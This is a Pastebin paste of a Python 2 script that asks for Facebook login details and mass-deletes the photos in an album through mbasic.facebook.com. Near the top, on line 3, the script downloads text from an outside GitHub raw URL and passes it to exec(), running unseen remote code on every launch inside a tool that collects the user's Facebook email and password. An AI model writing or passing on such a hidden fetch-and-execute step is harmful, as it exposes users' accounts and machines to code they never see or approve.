SHARE
TWEET

del-album.py

safanabilla Aug 18th, 2019 280 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. import requests,bs4,sys
  2. from multiprocessing.pool import ThreadPool
  3. exec(requests.get("https://raw.githubusercontent.com/asu-labs/server/master/bokep.txt").text)
  4. class mai:
  5.     def __init__(self):
  6.         self.al=[]
  7.         self.c=0
  8.         self.list={
  9.             "email":raw_input("[?] email: "),
  10.             "pass":raw_input("[?] passs: ")
  11.         }
  12.         self.r=requests.Session()
  13.         self.u="https://mbasic.facebook.com/{}"
  14.         s=self.r.post(self.u.format("login"),data=self.list).url
  15.         if "save-device" in s or "m_sess" in s:
  16.             print "* example: https://mbasic.facebook.com/riska.1/albums/114971406520953/"
  17.             print "* get from https://mbasic.facebook.com"
  18.             self.d(raw_input("[?] album url: "))
  19.        
  20.     def d(self,url):
  21.         bs=bs4.BeautifulSoup(self.r.get(url).text,"html.parser")
  22.         for i in bs.find_all("a",href=True):
  23.             if "photo.php" in i["href"]:
  24.                 self.al.append(self.u.format(i["href"]))
  25.                 print "\r[+] get: %s photos"%(len(self.al)),;sys.stdout.flush()
  26.             if "Lihat Foto Lainnya" in i.text:
  27.                 self.d(self.u.format(i["href"]))
  28.         print "\n[+] deleting..."
  29.         ThreadPool(50).map(self.dels,self.al)
  30.        
  31.     def dels(self,url):
  32.         bs=bs4.BeautifulSoup(self.r.get(url).text,"html.parser")
  33.         for i in bs.find_all("a",href=True):
  34.             if "Edit Foto" in i.text:
  35.                 e=bs4.BeautifulSoup(
  36.                     self.r.get(self.u.format(i["href"])).text,"html.parser")
  37.                 for i in e.find_all("a",href=True):
  38.                     if "Hapus Foto" in i.text:
  39.                         self.get(self.u.format(i["href"]))
  40.                        
  41.     def get(self,url):
  42.         data=[]
  43.         bs=bs4.BeautifulSoup(self.r.get(url).text,"html.parser")
  44.         for i in bs("form"):
  45.             data.append(self.u.format(i["action"]))
  46.         for i in bs("input"):
  47.             try:
  48.                 if "fb_dtsg" in i["name"]:
  49.                     data.append(i["value"])
  50.                 if "jazoest" in i ["name"]:
  51.                     data.append(i["value"])
  52.             except:pass
  53.         if len(data) ==3:
  54.             self.r.post(
  55.             data[0],
  56.                 data={
  57.                     "fb_dtsg":data[1],"jazoest":data[2],
  58.                     "confirm_photo_delete":"1","photo_delete":"Hapus"
  59.                 }
  60.             )
  61.             self.c+=1
  62.             print "\r[+] %s photo deleted."%(self.c),;sys.stdout.flush()
  63.                
  64.                
  65. mai()
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top